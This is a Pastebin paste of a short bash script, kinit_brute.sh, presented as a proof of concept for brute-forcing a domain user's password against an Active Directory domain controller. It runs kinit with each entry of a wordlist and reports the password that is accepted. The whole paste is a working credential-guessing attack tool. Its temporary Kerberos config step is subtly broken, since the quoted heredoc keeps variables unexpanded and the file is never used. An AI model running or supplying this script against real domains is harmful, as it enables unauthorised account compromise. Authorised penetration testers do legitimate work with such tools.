Advertisement
Guest User

Untitled

a guest
Jul 26th, 2017
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.56 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # Title: kinit_brute.sh
  4. # Author: @ropnop
  5. # Description: This is a PoC for bruteforcing passwords using 'kinit' to try to check out a TGT from a Domain Controller
  6. # The script configures the realm and KDC for you based on the domain provided and the domain controller
  7. # Since this configuration is only temporary though, if you want to actually *use* the TGT you should actually edit /etc/krb5.conf
  8. # Only tested with Heimdal kerberos (error messages might be different for MIT clients)
  9.  
  10.  
  11. USERNAME=$1
  12. DOMAINCONTROLLER=$2
  13. WORDLIST=$3
  14.  
  15. if [[ $# -ne 3 ]]; then
  16. echo "[!] Usage: ./kinit_brute.sh full_username domainController wordlist_file"
  17. echo "[!] Example: ./kinit_brute.sh ropnop@contoso.com dc01.contoso.com passwords.txt"
  18. exit 1
  19. fi
  20.  
  21. DOMAIN=$(echo $USERNAME | awk -F@ '{print toupper($2)}')
  22.  
  23. echo "[+] User: $USERNAME"
  24. echo "[+] Kerberos Realm: $DOMAIN"
  25. echo "[+] KDC: $DOMAINCONTROLLER"
  26. echo ""
  27.  
  28. KRB5_CONF=$(mktemp)
  29.  
  30. cat > $KRB5_CONF <<'asdfasdf'
  31. [libdefaults]
  32. default_realm = $DOMAIN
  33. [realms]
  34. $DOMAIN = {
  35. kdc = $DOMAINCONTROLLER
  36. admin_server = $DOMAINCONTROLLER
  37. }
  38. asdfasdf
  39.  
  40. while read PASSWORD; do
  41. RESULT=$(
  42. echo $PASSWORD | kinit --password-file=STDIN $USERNAME 2>&1
  43. )
  44. if [[ $RESULT == *"unable to reach"* ]]; then
  45. echo "[!] Unable to find KDC for realm. Check domain and DC"
  46. exit 1
  47. fi
  48. if [[ $RESULT == *"Wrong realm"* ]]; then
  49. echo "[!] Wrong realm. Make sure domain and DC are correct"
  50. exit 1
  51. fi
  52. if [[ $RESULT != *"Password incorrect"* ]]; then
  53. echo "[+] Found password: $PASSWORD"
  54. echo ""
  55. exit 1
  56. fi
  57. done <$WORDLIST
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement